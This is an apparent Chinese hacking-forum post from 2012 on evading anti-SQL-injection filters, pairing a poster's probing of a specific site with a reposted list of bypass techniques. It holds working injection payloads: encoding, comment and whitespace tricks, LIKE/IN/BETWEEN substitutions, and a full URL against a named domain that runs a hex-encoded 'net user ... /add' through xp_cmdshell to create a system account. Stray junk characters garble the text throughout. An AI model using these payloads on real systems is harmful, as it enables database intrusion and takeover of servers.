标题: 饶过防注入系统方法总结 [打印本页] 作者: admin 时间: 2012-9-15 14:47 标题: 饶过防注入系统方法总结 路过这个网站,检测了一下.3 n/ t- F5 D/ g S0 _4 K0 e http://www.xxx.cn/Article.asp?ID=117 and 1=1 }' D. l$ s% j. M直接返回主页 2 V8 [6 e, P% B8 d4 f6 v- @http://www.xxx.cn/Article.asp?ID=117 or 1=1 3 D5 U8 P5 A0 L$ f( {9 ]2 i直接返回主页 6 B% s+ a+ s% J I+ \7 T- }( z7 F) O% Zhttp://www.xxx.cn/Article.asp?ID=117 or 3 y5 {$ x; m3 l* `7 c5 C没有返回主页 没有过滤or 0 o" j" h6 n/ [5 Z+ F1 _& s9 d* A3 Qhttp://www.xxx.cn/Article.asp?ID=117 and! A( Q: }) X# l1 c+ K3 g# [5 V" b
直接返回主页 看来过滤了and2 M2 H- L, f; Q, U- ]* G http://www.xxx.cn/Article.asp?ID=117 or 1 % l+ u+ D+ F( T7 u' H没有返回主页 即没有过滤or 也没有过滤1 ! Q7 T: N' c1 ~* R! b L, F5 Whttp://www.xxx.cn/Article.asp?ID=117 or 1=1 - V! U6 b8 B; {% `- {) O6 h直接返回主页 很明显过滤了等号 2 ]; e' }2 R& v1 u: S* vor的特性是与and相反的. % e& z5 l t/ D0 u/ N9 Bor 1=1 爆错 或与原页面不同) c& ]; D" n; W9 [
or 1=2 原页面相同 % y% v6 K& r' m, P9 R1 v$ o这样就是一个注入点 1 d0 v4 e9 L ^8 d; P$ s, D8 J但他过滤了=号 我就用><号代替=号吧! / S! c) q) f6 _1 Z6 X: K6 u% gor 1<2 很明显是正确的,所以应该与原页面不同7 u$ |$ [- O( P! t6 A$ Y3 z- J
or 1>2 很明显是错误的,所以应该与原页面相同 ; \4 V" P* \0 d; r! l然后看看有没有过滤其他的查询语句,比如select. * V1 W- l% m6 t$ K$ Q# `- Uhttp://www.xxx.cn/Article.asp?ID=117 select5 a( ]9 Z: v0 p% V( X3 e
直接返回主页 0 ?$ u3 _/ B$ P: X* M又迷茫了..8 b+ m. u! A1 n
. @4 m' I( t) e5 C& J& ]& r9 y0 {& W. \4 q7 G X: [2 j
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗4 {2 w) x0 y( H7 g
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)1 B/ z* u2 @) k' g) Z0 u
================================================ $ w2 Q4 j( D, C2 \. l: s' ]以下是转贴:0 L( ?5 a2 E# B6 w/ f; b U3 y5 ^% ^1 a2 ]
# Y5 p0 g; q" T( V+ A4 X3 J1 v
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… - A, g- v0 M* z( G. _经过我的收集,大部分的防注入程序都过滤了以下关键字: $ B4 A9 @( L( ]/ O) t
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = ; k% O% c7 }7 i. ]$ t6 B
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 8 T. Z$ @' [9 d7 L E" t- u" O对于关键字的过滤,以下是我收集的以及我个人的一些想法。 # O: l* w' W2 T2 c1 |
1、运用编码技术绕过 3 W* d2 \5 h4 Y) P% Y+ c4 N- G- X& i
如URLEncode编码,ASCII编码绕过。例如or 1=1即 : ^6 l# r9 l8 f; u7 i! t) @& r%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 ; h7 W9 O8 B0 a
' n1 U5 l" D5 ]2、通过空格绕过 0 H. R6 `# P% e5 j) h" h- ~1 ]+ r
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 / `1 W2 h$ A9 q" r" m9 U
or’ swords’ =‘swords’ , c. Z% J8 q* u
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 ) f) j( }; w- N2 F$ R$ c3、运用字符串判断代替 ( H O- P: l% H( [: `( j用经典的or 1=1判断绕过,如 6 W. _! F7 ]4 P6 |% oor ’swords’ =’swords’ * F1 y2 _( [5 ?# ~+ z0 T8 r,这个方法就是网上在讨论的。 0 D2 m1 o. N) q4 ^9 Y1 q4、通过类型转换修饰符N绕过 6 p" f v/ }: T可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 . ] S( F5 [* f1 x& p0 t5、通过+号拆解字符串绕过 7 b/ Q; V* l& U' }5 u& X* E
效果值得考证,但毕竟是一种方法。如 9 f* v- K8 g* c2 t" j- Y
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) ; z$ b- i* c4 D/ [9 x0 A; ?' P
* U8 Y/ ~& s, w: M2 I7 U3 [& v* w
6、通过LIKE绕过 1 l( d$ B- _9 ^( J$ e% ^
以前怎么就没想到呢?如or 3 h$ ~/ ^. d2 c0 h7 Y7 Y’swords’ LIKE ’sw’ ! P+ O7 A3 y) ]) B3 m6 n/ q! }!!!显然可以很轻松的绕过 3 {3 G y8 ?% T# s: w& [
“=”“>” & b! q. w: e! D( W" ]/ h: U
的限制…… ) s, `* t( h( |& \. l* }" w* o) n& e
7、通过IN绕过 . T% f1 u& d0 M8 @ p+ r与上面的LIKE的思路差不多,如 8 m6 b* K }4 z; b6 Cor ’swords’ IN (’swords’) , R% G3 X9 }: M; H1 c1 W: [, f- q. N5 l! r& P
8、通过BETWEEN绕过 ' W% A8 D8 f, m1 S. p
如 2 S3 X, Y1 L1 j
or ’swords’ BETWEEN ’rw’ AND ’tw’ 7 a; i5 r# W7 k/ Z% u+ p! h8 s' i! F S
) y, F! j5 a& N
9、通过>或者<绕过 ; h- @* N0 z- t$ c }$ b
or ’swords’ > ’sw’ + M8 p q; T( \# w( {1 aor ’swords’ < ’tw’ ! ]- ?+ `" r% l- `3 I. ?6 B
or 1<3 ) Y3 |* `& ?" g1 {* J8 D8 C…… ; k% q" K6 t- S
10、运用注释语句绕过 9 Z5 g2 d* s1 H3 A: v" R- F' s
用/**/代替空格,如: 9 W ^7 H9 L: EUNION /**/ Select /**/user,pwd,from tbluser " `9 P# \; D% T, y" q- P3 t 2 C" M1 r, H; A2 i V7 A用/**/分割敏感词,如: # G' ^5 o. B! t. c# T/ U
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser 2 u# E3 B9 M5 W* d; K
$ X0 ?9 T, n8 s( s. x1 F# Q
11、用HEX绕过,一般的IDS都无法检测出来 / p# f5 T1 f5 ?. s( |% W+ Q. ?0x730079007300610064006D0069006E00 =hex(sysadmin) - Z9 m: I- K6 V7 B
0x640062005F006F0077006E0065007200 =hex(db_owner) $ d$ v: X( v2 [; O8 \另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: $ v4 v* o2 w9 {! {& s. j0 { declare @a sysname 1 V. q4 j: n2 W/ b, u select @a= 8 k( W2 T3 `. Y+ f: X
exec master.dbo.xp_cmdshell @a ' X% u9 V5 u) Y' j) t1 t& ^' s5 `0 Y效果 * V+ z+ m) n2 [+ M' h6 @http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- * y" k, }8 S- E) L+ m$ U) j 1 r- r; c; H6 b2 q5 M8 l! z其中的 1 _( ~0 j' I) Z; q! |2 y1 f0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 ! B/ n* N. ^9 q6 W4 \$ G
就是 , {; d* [& l& D$ F. P$ w, U9 ^
“net user angel pass /add”8 W& X* X+ ? ?8 X( R; p: b% j
8 A$ I3 F/ r1 `% G9 X一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。 8 O2 K! h# X$ F6 ~引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。) X" l$ F# M' d" Y" e5 e
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似 5 e( C$ o" I. O# Z3 jCopy code: x1 t7 R: ?) d+ t
select * from table exec xp_cmdshell'xxxxxxxxxx' ( T3 N; e8 s- l* V* i5 E : F! `; Q$ A6 o; I% s% T" e + X! E5 x, S! T' \1 hselect * from table/**/exec xp_cmdshell'xxxxxxxxxx' . |2 x8 D/ h+ v. P( c. e ) y! W/ Y- s# `4 D/ I2 D9 l 0 {1 y$ ~: k9 [select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'! h# Y7 W$ S/ m7 Y3 x+ [
+ |+ c3 D7 k- L6 o
; O4 ` H9 X. M G
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'. h; ~2 w7 M. @ m! _
9 c- [# V C, }' [6 [& Q. \5 S的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧? 5 v& Z7 f9 m) L5 `* m, C L6 ~; f' K& D3 l: S. r' Q
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了2 j# V% t+ R ]1 Z' @/ t
可能大家早就知道了,不管怎么说,发在这里吧!& n2 X1 f5 N8 V @7 l
! h! K- `& o+ A3 b. q
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。 # I: }) I t r% [. A : R. l! P2 O! H! J; L$ O% X* c9 P# q# N